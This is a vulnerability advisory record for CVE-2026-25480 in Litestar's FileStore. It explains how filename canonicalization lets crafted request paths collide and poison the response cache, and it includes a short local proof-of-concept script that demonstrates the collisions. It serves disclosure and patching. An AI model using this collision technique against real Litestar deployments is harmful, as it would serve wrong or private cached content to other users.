CVE-2026-25480: Litestar Litestar's FileStore Key Canonicalization Collisions Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vxqx-rh46-q2pg",
  "modified" : "2026-02-09T22:38:14Z",
  "published" : "2026-02-09T17:19:06Z",
  "aliases" : [ "CVE-2026-25480" ],
  "summary" : "Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)",
  "details" : "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord('-') == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"K\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -> 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  ->\", v)\n    print(\"k45 ->\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: 'k-' collides with 'k45'\")\n\n    # 2) NFKD collision: Kelvin sign -> K\n    await store.set(\"K\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"K ->\", await store.get(\"K\"))\n    print(\"K ->\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: 'K' collides with 'K' (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "litestar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.20.0"
      } ]
    } ],
    "versions" : [ "2.19.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
  }, {
    "type" : "WEB",
    "url" : "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litestar-org/litestar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-176", "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T17:19:06Z",
    "nvd_published_at" : "2026-02-09T20:15:57Z"
  }
}